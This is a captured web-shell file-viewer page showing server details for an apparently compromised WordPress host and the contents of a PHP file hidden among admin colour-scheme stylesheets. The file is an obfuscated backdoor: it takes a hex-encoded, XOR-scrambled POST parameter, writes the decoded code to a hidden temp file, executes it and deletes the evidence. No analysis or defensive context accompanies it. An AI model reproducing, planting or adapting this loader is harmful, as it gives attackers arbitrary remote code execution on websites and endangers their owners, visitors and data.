HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System: Linux li317-225.members.linode.com 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/kosmicevents/public/wp-admin__7af9720/css/colors/midnight/locobasic.php
<?php

if(array_key_exists("\x70tr", $_POST) && !is_null($_POST["\x70tr"])){
	$pgrp = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm", getcwd()]);
	$factor = hex2bin($_POST["\x70tr"]);
	$key =''; $p = 0; while($p < strlen($factor)){$key .= chr(ord($factor[$p]) ^ 62);$p++;}
	foreach ($pgrp as $comp):
    		if (!!is_dir($comp) && !!is_writable($comp)) {
    $value = "$comp" . "/.entry";
    if (file_put_contents($value, $key)) {
	require $value;
	unlink($value);
	exit;
}
}
endforeach;
}